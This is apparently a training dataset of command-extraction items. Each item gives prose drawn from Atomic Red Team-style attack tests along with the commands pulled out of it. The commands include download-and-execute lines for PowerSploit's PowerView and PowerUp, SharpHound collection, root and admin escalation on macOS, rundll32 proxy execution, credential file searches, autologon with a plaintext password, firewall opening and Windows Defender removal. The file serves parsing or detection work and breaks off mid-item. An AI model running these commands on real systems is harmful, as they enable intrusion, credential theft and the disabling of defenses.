    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose\\n\", \"try { get-wmiobject -class ds_computer -namespace root\\\\directory\\\\ldap -ErrorAction Stop }\\ncatch { $_; exit $_.Exception.HResult }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Root privileges can be assigned to the current user or a specified new user by executing this command: dsenableroot #current user\ndsenableroot -u art-tester -p art-tester -r art-root #new user; After running the operation, the user is added to the Admin group with the command: dseditgroup -o edit -a art-user -t user admin",
    "output": "{\"command_list\": [\"dsenableroot #current user\\ndsenableroot -u art-tester -p art-tester -r art-root #new user\", \"dseditgroup -o edit -a art-user -t user admin\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test demonstrates IcedID and Trickbot techniques via the command: rundll32.exe url.dll,OpenURL \"PathToAtomicsFolder\\T1218.011\\src\\index.hta\"\nrundll32.exe URL.dll,FileProtocolHandler \"PathToAtomicsFolder\\T1218.011\\src\\akteullen.vbs\"\n, where the HTA opens calculator and VBS displays a message about rundll32 spawning wscript.; Proxy execution of an executable is achieved via the command: rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}",
    "output": "{\"command_list\": [\"rundll32.exe url.dll,OpenURL \\\"PathToAtomicsFolder\\\\T1218.011\\\\src\\\\index.hta\\\"\\nrundll32.exe URL.dll,FileProtocolHandler \\\"PathToAtomicsFolder\\\\T1218.011\\\\src\\\\akteullen.vbs\\\"\\n\", \"rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To open a local port for any profile, use the following command: netsh advfirewall firewall add rule name=\"Open Port to Any\" dir=in protocol=tcp localport=#{local_port} action=allow profile=any; For allowing an executable through the firewall, the test requires executing these commands to copy the file and set up the rule: Copy-Item \"#{exe_file_path}\" -Destination \"C:\\\\Users\\\\$env:UserName\" -Force\nnetsh advfirewall firewall add rule name=\"Atomic Test\" dir=in action=allow program=\"C:\\\\Users\\\\$env:UserName\\\\AtomicTest.exe\" enable=yes\n",
    "output": "{\"command_list\": [\"netsh advfirewall firewall add rule name=\\\"Open Port to Any\\\" dir=in protocol=tcp localport=#{local_port} action=allow profile=any\", \"Copy-Item \\\"#{exe_file_path}\\\" -Destination \\\"C:\\\\Users\\\\$env:UserName\\\" -Force\\nnetsh advfirewall firewall add rule name=\\\"Atomic Test\\\" dir=in action=allow program=\\\"C:\\\\Users\\\\$env:UserName\\\\AtomicTest.exe\\\" enable=yes\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For extracting credentials from files, use the following command to search for 'password' in XML, DOC, TXT, and XLS files: findstr /si pass *.xml *.doc *.txt *.xls\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\n; The system will attempt to display contents of unattend.xml files, if they exist, by executing this command:\ntype C:\\Windows\\Panther\\unattend.xml\ntype C:\\Windows\\Panther\\Unattend\\unattend.xml\n",
    "output": "{\"command_list\": [\"findstr /si pass *.xml *.doc *.txt *.xls\\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\\n\", \"type C:\\\\Windows\\\\Panther\\\\unattend.xml\\ntype C:\\\\Windows\\\\Panther\\\\Unattend\\\\unattend.xml\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enable automatic logon using Registry Editor, run the following command: New-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultUserName -Value Administrator -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultDomainName -Value contoso.com -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultPassword  -Value password1 -Force; To completely remove Windows Defender and its associated packages, use the Deployment Image Servicing and Management tool through these PowerShell commands:\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Gui\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Features\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-ApplicationGuard\" -NoRestart -ErrorAction Ignore\nBy default, the operation runs silently unless configured otherwise.",
    "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultUserName -Value Administrator -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultDomainName -Value contoso.com -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultPassword  -Value password1 -Force\\n\", \"Disable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-Gui\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-Features\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-ApplicationGuard\\\" -NoRestart -ErrorAction Ignore\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system will show currently logged on users when you run the command: query user /SERVER:#{computer_name}; ADRecon gathers and consolidates Active Directory information into a report, which can be generated by running the following command: Invoke-Expression \"#{adrecon_path}\"",
    "output": "{\"command_list\": [\"query user /SERVER:#{computer_name}\\n\", \"Invoke-Expression \\\"#{adrecon_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 